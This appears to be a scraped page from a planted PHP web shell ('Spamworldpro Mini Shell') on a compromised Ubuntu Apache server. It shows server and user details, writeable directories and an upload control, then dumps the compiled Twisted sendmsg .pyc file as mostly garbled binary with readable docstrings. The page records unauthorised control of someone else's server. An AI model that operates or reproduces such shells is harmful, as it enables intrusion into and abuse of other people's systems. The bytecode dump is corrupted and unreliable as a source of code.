Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/python/__pycache__/sendmsg.cpython-310.pyc
o

�bz
�@s�dZddlmZddlmZmZmZddlmZm	Z	gd�Z
edgd��Zgdfded	ed
ee	e
e
efde
de
f
d
d�Z	ddede
de
de
def
dd�Zdede
fdd�ZdS)z/
sendmsg(2) and recvmsg(2) support for Python.
�)�
namedtuple)�
CMSG_SPACE�
SCM_RIGHTS�socket)�List�Tuple)�sendmsg�recvmsg�getSocketFamilyr�ReceivedMessage��data�	ancillary�flagsrr
rr�returncCs|�|g||�S)a
    Send a message on a socket.

    @param socket: The socket to send the message on.
    @param data: Bytes to write to the socket.
    @param ancillary: Extra data to send over the socket outside of the normal
        datagram or stream mechanism.  By default no ancillary data is sent.
    @param flags: Flags to affect how the message is sent.  See the C{MSG_}
        constants in the sendmsg(2) manual page.  By default no flags are set.

    @return: The return value of the underlying syscall, if it succeeds.
    )r)rr
rr�r�8/usr/lib/python3/dist-packages/twisted/python/sendmsg.pyrsr� ��maxSize�cmsgSizecCs.|�|t|�|�dd�\}}}t|||d�S)a
    Receive a message on a socket.

    @param socket: The socket to receive the message on.
    @param maxSize: The maximum number of bytes to receive from the socket using
        the datagram or stream mechanism. The default maximum is 8192.
    @param cmsgSize: The maximum number of bytes to receive from the socket
        outside of the normal datagram or stream mechanism. The default maximum
        is 4096.
    @param flags: Flags to affect how the message is sent.  See the C{MSG_}
        constants in the sendmsg(2) manual page. By default no flags are set.

    @return: A named 3-tuple of the bytes received using the datagram/stream
        mechanism, a L{list} of L{tuple}s giving ancillary received data, and
        flags as an L{int} describing the data received.
    r�r)r	rr)rrrrr
rrrrr	)s r	cCs|jS)ze
    Return the family of the given socket.

    @param socket: The socket to get the family of.
    )�family)rrrrr
Fsr
N)rrr)�__doc__�collectionsrrrr�Socket�typingrr�__all__r�bytes�intrr	r
rrrr�<module>s@�����
������
�

Spamworldpro Mini